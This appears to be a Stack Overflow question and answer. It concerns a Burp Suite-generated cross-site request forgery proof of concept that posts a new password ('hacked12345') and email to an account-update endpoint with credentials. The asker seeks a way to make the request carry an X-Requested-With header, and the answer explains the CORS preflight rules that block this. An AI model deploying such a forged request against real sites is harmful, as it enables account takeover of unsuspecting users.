-2

I am sending this request cross domain:

<html>

  <body>

  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/example.com\/navidad\/xxxxx\/data\/actualizar", true);
        xhr.setRequestHeader("accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("accept-language", "en-US,en;q=0.5");
        xhr.setRequestHeader("content-type", "application\/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "contrasenia=hacked12345&email=williamdafoe%40nano.com";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

And, when I capture the traffic with Burp Suite, the X-Requested-With: XMLHttpRequest is not sent.

Is it possible to do it without Ajax (just this native request), with ajax, apparently can be achieved by this:

Cross-Domain AJAX doesn't send X-Requested-With header

$.ajax({
  url: "http://your-url...",
 crossDomain: false
});

In the preflight, as usual, this header is not set, so I cannot do:

xhr.setRequestHeader("X-Requested-With:", "XMLHttpRequest");

as expected

Regards

aDoN
  • 1,877
  • 4
  • 39
  • 55
  • Why are you escaping the forward-slashes in your string? They don't need escaping – Phil Nov 22 '22 at 09:11
  • this is how Burp Suites generates CSRF PoCs and work smoothly so I keep them haha – aDoN Nov 22 '22 at 09:11
  • It isn't clear what you are asking. You have a *lot* of code which doesn't even try to set that header, and then right at the end you provide the answer and mention that you can't use it in the preflight … without having mentioned the preflight before. Are you specifically asking how to set that header on the preflight request? – Quentin Nov 22 '22 at 09:12
  • If you want to add the header, just add the header like you did with the other three... `xhr.setRequestHeader("x-requested-with", "XMLHttpRequest");` – Phil Nov 22 '22 at 09:13
  • I cannot do that, as I said, the AJAX preflight doesn't allow setting arbitrary headers, I cannot set x-requested-with manually as well as the Content-Type cannot be set (if it is different than application/x-www-form-urlencoded, text/plain or mutipart/form-data) Regards – aDoN Nov 22 '22 at 09:26

1 Answers1

0

X-Requested-By is a non-CORS-safe (and frankly, completely non-standard) header.

The only way to set it in an HTTP request initiated by a web page running in a browser is:

  1. xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest"); (or the equivalent for fetch or a wrapper library around one of those).
  2. Allow the browser to send a preflight request to the server asking permission to send a request with an X-Requested-With header.
  3. Have the server respond with an Access-Control-Allow-Headers header that grants that permission.

Your request is withCredentials already so you already have to handle the preflight request.


I would generally recommend avoiding X-Requested-By as it is a hacky approach generally used to acheive things which standard headers already exist for (e.g. if you want to serve different types of content for the same URL based on the recipient then the Accept request header is usually the best choice).

Quentin
  • 914,110
  • 126
  • 1,211
  • 1,335